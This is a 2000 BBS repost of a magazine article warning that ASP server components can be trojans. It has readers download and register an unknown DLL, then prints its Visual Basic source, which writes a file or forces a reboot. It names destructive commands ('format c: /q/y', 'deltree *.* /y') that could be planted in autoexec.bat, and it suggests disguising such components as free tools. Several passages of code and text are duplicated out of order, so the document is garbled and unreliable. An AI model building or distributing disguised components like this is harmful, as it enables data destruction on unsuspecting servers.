荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: bstone (Back to real world!), 信区: Hacker
标  题: ASP组件中的安全问题
发信站: BBS 荔园晨风站 (Sun Apr  9 07:27:37 2000), 转信

发信人: Spaceriver (天河), 信区: Security
标  题: ASP组件中的安全问题
发信站: BBS 水木清华站 (Fri Apr  7 11:16:58 2000)

转载自电脑报:
http://home.cpcw.com/issue/2000/12/00124906.htm

                        《 ASP组件中的安全问题 》
  Microsoft推出的ASP(Active Server Page)以简单、易用、功能多、可扩充性等强
大功能得到了网友和大多数网管的喜爱,大有完全代替CGI的趋势。但是我要对你说,如
果使用ASP的话,你网络的安全同时也大大降低了!   在我继续说下去之前,请你完
成以下步骤:
  1.下载这个文件“http://home.gbsource.net/xuankong/dll.zip”,解压缩后把其
中的test.dll文件拷贝到“c:\windows\system”(如果你是使用NT的话,请拷贝到相应
目录);
  2.接下来打开“开始/运行”菜单输入“regsvr32 test.dll”命令;
  3.拷贝解压缩后的文件包中的那个index.asp到你的服务器目录(如果你是使用PWS
‘Personal Web Server’调试可以拷贝到“c:\Inetpub\wwwroot”,NT请拷贝到相应的
目录);
  4.换一台机器用IE浏览index.asp文件看一看(你看到的是出错代码,但是实际上程
序已经运行了),你再返回你的机器看一看c:\下是否多了一个文件?!一个名为“xua
nkong.dat”的文件(其实如果我愿意,你的c:\autoexec.bat文件也可以被我打开并写
入一些什么“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新启动
入一些什么“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新启动
机器。嘿嘿……)。
  我们一起来看看到底是怎么一回事,你刚才拷贝的那些DLL文件其实是我使用Visul
 Basic 5.0开发的一个组件:
  1.打开VB5.0新建一个“ActiveX dll”文件,把下面的代码录入进去。
  Private Declare Function ExitWindowsEx Lib ″user32″ _
  (ByVal uFlags As Long, ByVal dwReserved As Long) _
  As Long   Sub xuankong()′请不要加上″private″
 a$ = InputBox(″请输入你的姓名,如果你的输入是″xuankong″″ + Chr(13) +
 Chr(10) + ″则会在你的系统中生成一个″xuankong.dat″文件″ + Chr(10) + C
hr(13) + ″否则的话你的机器可能重启″, ″请输入″, ″xuankong″)
  If a$ = ″xuankong″ Then   Open ″c:\xuankong.dat″ For Append As #
1   Write #1, ″我的朋友,这是一个ASP组件的测试程序″   Write #1, ″he
llo world!This is a test″   Write #1, ″如果你看到这个文件表示测试成功!
!!″   Else   ExitWindowsEx &H43, 0′使用API函数重新启动机器   End
If   Close #1   End Sub
  2.把工程名改为dll,类模块改为test,然后把这个工程生成DLL文件到c:\windows
\system目录下面。
  3.新建一个index.asp文件把下面的代码录入进去。
  <% set rs=server.createobject(″dll.test″)%>
  <% set rs1=rs.xuankong    rs1.execute    %>
  4.拷贝index.asp到你的服务器内,按照上面所述进行调试!   好了,如果你调
试完成,有什么感觉???如果是使用VC++ 、Visual Java开发(它们开发出来的组
入一些什么“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新启动
机器。嘿嘿……)。
  我们一起来看看到底是怎么一回事,你刚才拷贝的那些DLL文件其实是我使用Visul
 Basic 5.0开发的一个组件:
  1.打开VB5.0新建一个“ActiveX dll”文件,把下面的代码录入进去。
  Private Declare Function ExitWindowsEx Lib ″user32″ _
  (ByVal uFlags As Long, ByVal dwReserved As Long) _
  As Long   Sub xuankong()′请不要加上″private″
 a$ = InputBox(″请输入你的姓名,如果你的输入是″xuankong″″ + Chr(13) +
 Chr(10) + ″则会在你的系统中生成一个″xuankong.dat″文件″ + Chr(10) + C
hr(13) + ″否则的话你的机器可能重启″, ″请输入″, ″xuankong″)
  If a$ = ″xuankong″ Then   Open ″c:\xuankong.dat″ For Append As #
1   Write #1, ″我的朋友,这是一个ASP组件的测试程序″   Write #1, ″he
llo world!This is a test″   Write #1, ″如果你看到这个文件表示测试成功!
!!″   Else   ExitWindowsEx &H43, 0′使用API函数重新启动机器   End
If   Close #1   End Sub
  2.把工程名改为dll,类模块改为test,然后把这个工程生成DLL文件到c:\windows
\system目录下面。
  3.新建一个index.asp文件把下面的代码录入进去。
  <% set rs=server.createobject(″dll.test″)%>
  <% set rs1=rs.xuankong    rs1.execute    %>
  4.拷贝index.asp到你的服务器内,按照上面所述进行调试!   好了,如果你调
试完成,有什么感觉???如果是使用VC++ 、Visual Java开发(它们开发出来的组
  <% set rs1=rs.xuankong    rs1.execute    %>
件功能可更加强大);如果把上面的VB代码改一下,加入到一些FTP组件、E-mail组件
、HTTP组件、聊天室组件、计数器组件中……(凡是可以输入/输出的组件,没法输入/输
出的组件的破坏力有一定局限),再给这些组件加上一个好听的名字“免费的……”你
不上当吗(嘿嘿!说不定你已经上当了,天下免费的东西可是好东西!!!*^v^*)?
  上面所说的是ASP组件的安全问题!另外如果有些作者在写ASP组件时不小心留下系
统bug!那就更加不易被人发觉了!   说明:本文只代表个人观点。本文所提供的代码
在Windows 98自带的PWS和Visual Basic 5.0下调试通过,如果你在生成ASP组件时出现
不能编译的问题,请关闭你的PWS。你有什么想法或意见请E-mail: xuankong@swau.ed
u.cn。
(重庆 蒲俊杰)

--
时间一秒钟一秒钟地离去,
    激情一点点一点点地远去,
迷途的我
    还是在
        执迷不悟地泡网......
生命在电子的流动中虚度着……        (未完待续——请不要看我的说明档)

※ 来源:·BBS 水木清华站 smth.org·[FROM: 166.111.33.72]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店